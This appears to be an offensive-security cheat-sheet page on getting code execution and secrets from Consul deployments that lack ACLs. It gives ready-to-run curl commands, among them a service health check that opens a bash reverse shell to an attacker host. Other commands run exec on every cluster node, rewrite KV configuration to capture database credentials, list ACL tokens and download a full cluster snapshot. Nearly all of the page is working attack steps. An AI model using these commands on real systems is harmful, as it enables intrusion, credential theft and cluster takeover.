Skip to content

Consul RCE

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Consul without ACLs (or with a permissive anonymous policy) allows registering services with health checks that execute arbitrary commands. The exec API (if enabled) provides direct command execution across cluster nodes. Confirm unauthenticated access through Consul enumeration first.

RCE via Service Registration

Register a service with a health check script. Consul executes the script at the defined interval to check service health. This is the most reliable RCE method.

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT http://$TARGET_IP:8500/v1/agent/service/register \
-H 'Content-Type: application/json' \
-d '{
"ID": "rce-test",
"Name": "rce-test",
"Address": "127.0.0.1",
"Port": 80,
"check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"],
"Interval": "10s",
"Timeout": "5s"
}
}'

The health check script executes every 10 seconds. Start nc -lvnp on your listener first. The shell runs as the consul user. Deregister the service after to stop repeated connections.

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT http://$TARGET_IP:8500/v1/agent/service/deregister/rce-test

RCE via Exec API

The /v1/agent/exec API (deprecated but still available when disable_remote_exec = false) executes a command on all cluster nodes simultaneously.

┌──(kali㉿kali)-[~]
└─$ consul exec -node '*' 'id'
consul-server-01:
uid=100(consul) gid=1000(consul) groups=1000(consul)

consul-client-01:
uid=100(consul) gid=1000(consul) groups=1000(consul)

Runs on every node in the cluster. Requires the consul CLI or equivalent API calls. Disabled by default since Consul 0.8.

KV Store Manipulation

With write access to the KV store, modify application configuration to inject backdoors or redirect traffic.

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT http://$TARGET_IP:8500/v1/kv/config/database/host -d '$LHOST'
true

Applications using Consul for config may pick up the change dynamically. Redirecting a database host to your machine captures credentials from connection attempts.

ACL Token Extraction

If the current access level allows reading ACL tokens, extract them for elevated access.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/acl/tokens | python3 -m json.tool

The token list shows token IDs and policies but not the secret values. Use /v1/acl/token/<AccessorID> to read individual tokens. The master/bootstrap token has global-management policy.

Snapshot for Offline Analysis

A Consul snapshot contains the entire cluster state: KV data, ACL tokens, service registrations, and configuration.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:8500/v1/snapshot -o consul-snapshot.snap

The snapshot is a gzip-compressed file containing Raft state. Extract and parse for ACL tokens, KV secrets, and service configs.

References